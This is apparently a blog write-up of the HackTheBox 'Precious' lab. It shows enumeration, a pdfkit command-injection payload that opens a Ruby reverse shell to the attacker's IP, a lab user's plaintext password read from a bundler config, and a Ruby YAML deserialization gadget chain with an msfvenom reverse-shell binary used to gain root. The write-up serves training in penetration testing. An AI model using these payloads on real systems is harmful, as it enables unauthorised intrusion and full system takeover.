Post

HackTheBox Precious Writeup

Nmap Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.95 scan initiated Wed May 28 07:38:52 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up, received echo-reply ttl 63 (0.10s latency).
Scanned at 2025-05-28 07:38:52 CDT for 13s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 28 07:39:05 2025 -- 1 IP address (1 host up) scanned in 12.62 seconds

HTTP Port 80 Enumeration

According to the nmap output, it redirects us to http://precious.htb/. Let’s add this domain to our /etc/hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ curl http://precious.htb/ -v                                                     
* Host precious.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.189
*   Trying 10.10.11.189:80...
* Connected to precious.htb (10.10.11.189) port 80
> GET / HTTP/1.1
> Host: precious.htb
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Content-Length: 483
< Connection: keep-alive
< Status: 200 OK
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Date: Wed, 28 May 2025 04:19:22 GMT
< X-Powered-By: Phusion Passenger(R) 6.0.15
< Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
< X-Runtime: Ruby
< 

Looks like a website to convert web pages to pdf. We can try to fetch ourselves using http://10.10.16.24

Gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ gobuster dir -u http://precious.htb -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://precious.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

URL Enumeration

file:/// protocol

Failed, it needs the http keyword.

Fetch itself?

cannot load remote URL…

Fetch us to gather more information through Netcat

1
2
3
4
5
6
7
8
9
10
11
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ nc -lvnp 58787                                                                                                                                
listening on [any] 58787 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.189] 33200
GET / HTTP/1.1
Host: 10.10.16.24:58787
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

It uses wkhtmltopdf Version/10.0.

SearchSploit

1
2
3
4
5
6
7
8
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ searchsploit "wkhtml"           
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
wkhtmltopdf 0.12.6 -  Server Side Request Forgery                                                                          | asp/webapps/51039.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

We can try this exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ cat 51039.txt 
# Exploit Title: wkhtmltopdf 0.12.6 -  Server Side Request Forgery
# Date: 20/8/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://wkhtmltopdf.org
# Software Link: https://wkhtmltopdf.org/downloads.html
# Version: 0.12.6
# Tested on: Windows ASP.NET <http://asp.net/>

POST /PDF/FromHTML HTTP/1.1
Host: vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

__RequestVerificationToken=Token&header=<PDFstructure+>....&data= <PDFstructure+>....<iframe+src=“http://10.10.10.1”>

Nothing related to us…

By searching Ruby PDF package, we found the top return is called pdfkit. Let’s try to exploit this package assuming the server is using it.

Proof
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(wzwr㉿kali)-[~/Downloads]
└─$ exiftool it5bivl6606aqbt23ejw9jk79qfwzug2.pdf 
ExifTool Version Number         : 12.76
File Name                       : it5bivl6606aqbt23ejw9jk79qfwzug2.pdf
Directory                       : .
File Size                       : 4.6 kB
File Modification Date/Time     : 2025:05:28 07:54:36-05:00
File Access Date/Time           : 2025:05:28 07:54:36-05:00
File Inode Change Date/Time     : 2025:05:28 07:54:36-05:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6
1
2
3
4
5
6
7
8
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ searchsploit "pdfkit"           
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
pdfkit v0.8.7.2 - Command Injection                                                                                        | ruby/local/51293.py
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ python3 51293.py -s 10.10.16.24 58787

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
    
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.24","58787"))'`
LOCALIP: 10.10.16.24:58787
WARNING: Be sure to start a local listener on the above IP and port.
EXPLOIT: Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.

After we start a reverse shell listener on another terminal, we copy the payload shown in the script to the webpage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ nc -lvnp 58787                                                                                                                                
listening on [any] 58787 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.189] 58424

whoami
ruby
ls
app
config
config.ru
Gemfile
Gemfile.lock
pdf
public


Good!

Post-Exploitation

Existing User

1
2
3
4
5
6
ruby@precious:/var/www/pdfapp$ cat /etc/passwd | grep -i "sh"
root:x:0:0:root:/root:/bin/bash
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash
ruby@precious:/var/www/pdfapp$ 
1
2
3
ruby@precious:/home/henry$ cat user.txt
cat: user.txt: Permission denied
ruby@precious:/home/henry$ 

Seems like we need to login as henry, as user.txt is located in henry’s home directory.

Linpeas.sh as ruby

1
2
3
4
5
6
7
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits                                                            
Linux version 5.10.0-19-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.149-2 (2022-10-21)
Distributor ID: Debian
Description:    Debian GNU/Linux 11 (bullseye)
Release:        11
Codename:       bullseye
1
2
3
╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens                                                        
ptrace protection is disabled (0), so sudo tokens could be abused
1
2
3
4
5
6
7
8
9
10
11
12
╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3526 Mar 27  2022 /etc/skel/.bashrc                                                                                                   
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 /home/henry/.bashrc
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 /home/ruby/.bashrc





-rw-r--r-- 1 root root 807 Mar 27  2022 /etc/skel/.profile
-rw-r--r-- 1 henry henry 807 Sep 26  2022 /home/henry/.profile
-rw-r--r-- 1 ruby ruby 807 Mar 27  2022 /home/ruby/.profile
1
2
3
4
╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
-r-xr-xr-x 1 root ruby 62 Sep 26  2022 config                                                                                                                
total 4

1
2
3
4
╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files                                                             
  Group ruby:                                                                                                                                                
/var/www/pdfapp/pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
╔══════════╣ Searching *password* or *credential* files in home (limit 70)
/etc/pam.d/common-password                                                                                                                                   
/tmp/passenger.R0wAFiX/full_admin_password.txt
/tmp/passenger.R0wAFiX/read_only_admin_password.txt
/usr/bin/systemd-ask-password
/usr/bin/systemd-tty-ask-password-agent
/usr/lib/grub/i386-pc/legacy_password_test.mod
/usr/lib/grub/i386-pc/password.mod
/usr/lib/grub/i386-pc/password_pbkdf2.mod
/usr/lib/ruby/2.7.0/bundler/uri_credentials_filter.rb
/usr/lib/systemd/systemd-reply-password
/usr/lib/systemd/system/multi-user.target.wants/systemd-ask-password-wall.path
/usr/lib/systemd/system/sysinit.target.wants/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.path
/usr/lib/systemd/system/systemd-ask-password-console.service
/usr/lib/systemd/system/systemd-ask-password-wall.path
/usr/lib/systemd/system/systemd-ask-password-wall.service
  #)There are more creds/passwds files in the previous parent folder

/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
/usr/share/man/man7/credentials.7.gz
/usr/share/man/man8/systemd-ask-password-console.path.8.gz
/usr/share/man/man8/systemd-ask-password-console.service.8.gz
/usr/share/man/man8/systemd-ask-password-wall.path.8.gz
/usr/share/man/man8/systemd-ask-password-wall.service.8.gz
  #)There are more creds/passwds files in the previous parent folder

/usr/share/pam/common-password.md5sums
/usr/share/ri/2.7.0/system/Bundler/Settings/credentials_for-i.ri
/usr/share/ri/2.7.0/system/Bundler/Source/Git/GitProxy/uri_escaped_with_configured_credentials-i.ri
/usr/share/ri/2.7.0/system/Bundler/Source/Rubygems/suppress_configured_credentials-i.ri
/usr/share/ri/2.7.0/system/Bundler/URICredentialsFilter/credential_filtered_string-i.ri
/usr/share/ri/2.7.0/system/Bundler/URICredentialsFilter/credential_filtered_uri-i.ri
/usr/share/ri/2.7.0/system/Bundler/URI/File/check_password-i.ri
/usr/share/ri/2.7.0/system/Bundler/URI/File/set_password-i.ri
/usr/share/ri/2.7.0/system/Bundler/URI/Generic/check_password-i.ri
/usr/share/ri/2.7.0/system/Bundler/URI/Generic/password%3d-i.ri
/usr/share/ri/2.7.0/system/Bundler/URI/Generic/password-i.ri
/usr/share/ri/2.7.0/system/Bundler/URI/Generic/set_password-i.ri
  #)There are more creds/passwds files in the previous parent folder

/usr/share/ri/2.7.0/system/Gem/ConfigFile/check_credentials_permissions-i.ri
/usr/share/ri/2.7.0/system/Gem/ConfigFile/credentials_path-i.ri
/usr/share/ri/2.7.0/system/Gem/S3URISigner/ec2_metadata_credentials_json-i.ri
/usr/share/ri/2.7.0/system/Gem/StreamUI/ask_for_password-i.ri
/usr/share/ri/2.7.0/system/Gem/UserInteraction/ask_for_password-i.ri
/usr/share/ri/2.7.0/system/URI/File/check_password-i.ri
/usr/share/ri/2.7.0/system/URI/File/set_password-i.ri
/usr/share/ri/2.7.0/system/URI/Generic/check_password-i.ri
/usr/share/ri/2.7.0/system/URI/Generic/password%3d-i.ri
/usr/share/ri/2.7.0/system/URI/Generic/password-i.ri
/usr/share/ri/2.7.0/system/URI/Generic/set_password-i.ri
  #)There are more creds/passwds files in the previous parent folder

/var/lib/gems/2.7.0/gems/bundler-2.3.22/lib/bundler/uri_credentials_filter.rb
/var/lib/pam/password

Password file leak?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ruby@precious:~$ ls -la /tmp/passenger.R0wAFiX/
total 40
drwxr-xr-x  5 root root 4096 May 28 00:17 .
drwxrwxrwt 11 root root 4096 May 28 00:23 ..
drwxr-xr-x  2 root root 4096 May 28 00:17 agents.s
drwx-wx-wt  2 root root 4096 May 28 00:31 apps.s
-rw-r--r--  1 root root    3 May 28 00:17 core.pid
-rw-r--r--  1 root root    0 May 28 00:17 creation_finalized
-rw-------  1 root root   24 May 28 00:17 full_admin_password.txt
-rw-r--r--  1 root root    0 May 28 00:17 lock
-rw-r--r--  1 root root  357 May 28 00:17 properties.json
-rw-------  1 root root   24 May 28 00:17 read_only_admin_password.txt
-rw-r--r--  1 root root    3 May 28 00:17 watchdog.pid
drwxr-xr-x  2 root root 4096 May 28 00:17 web_server_info
ruby@precious:~$ ls -la /tmp/passenger.R0wAFiX/read_only_admin_password.txt 
-rw------- 1 root root 24 May 28 00:17 /tmp/passenger.R0wAFiX/read_only_admin_password.txt
ruby@precious:~$

Nope..

Hint

By watching hint, it call us to watch where is the bundle store the configuration files

The hint tells us to check where bundle stores the configuration files

1
2
3
4
5
6
ruby@precious:/var/www/pdfapp$ ls -la ~/.bundle/config
-r-xr-xr-x 1 root ruby 62 Sep 26  2022 /home/ruby/.bundle/config
ruby@precious:/var/www/pdfapp$ cat ~/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:/var/www/pdfapp$

we found henry credentials…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ ssh henry@precious.htb 
The authenticity of host 'precious.htb (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'precious.htb' (ED25519) to the list of known hosts.
henry@precious.htb's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ 

Good!

Linpeas.sh with henry

1
2
3
4
5
6
7
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid                                                              
Matching Defaults entries for henry on precious:                                                                                                             
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Sudo Abuse

1
2
henry@precious:~$ ls -la /opt/update_dependencies.rb 
-rwxr-xr-x 1 root root 848 Sep 25  2022 /opt/update_dependencies.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
henry@precious:~$ cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The ruby script is to fetch yaml from dependencies.yml and install the packages listed on it, there is an example at /opt/sample/dependencies.yml

1
2
3
henry@precious:~$ cat /opt/sample/dependencies.yml 
yaml: 0.1.1
pdfkit: 0.8.6

Since the file doesn’t specify an absolute path, it should read the file from our current working directory. Let’s create a file called dependencies.yml in our home directory

1
2
henry@precious:~$ touch dependencies.yml
henry@precious:~$ 

and we can try run again and see the output:

1
2
3
4
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
Traceback (most recent call last):
/opt/update_dependencies.rb:20:in `<main>': undefined method `each' for false:FalseClass (NoMethodError)
henry@precious:~$ 

It indeed read our file, but as our yaml file is empty, the script complains. Let’s copy the content of the sample to our yaml file.

1
2
3
4
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
Installed version differs from the one specified in file: yaml
Installed version is equals to the one specified in file: pdfkit
henry@precious:~$ 

However, it only compares the packages without installing anything.

Exploit

Since the output says that the yaml package is a different version than the given sample, we could try to search for a yaml package exploit: https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/

In this case, it seems there is insecure deserialization happening in YAML.load(). We can try the payload given with reference link:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

It prints out the id! We might need to modify the payload to obtain a reverse shell. By looking at the script, we guess that the command will be run at the git_set field. Let’s try to modify it to whoami

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
root
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$

Good! Now, we can setup our listener reverse shell and set the payload:

1
2
3
4
5
6
7
8
┌──(wzwr㉿kali)-[~/Documents/htb/precious]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.24 LPORT=443 -f elf -o rev
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /tmp/rev
         method_id: :resolve
1
2
3
4
5
6
7
8
9
┌──(wzwr㉿kali)-[~/Documents/tools]
└─$ nc -lvnp 443                                                                      
listening on [any] 443 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.189] 51454

whoami
root


This post is licensed under CC BY 4.0 by the author.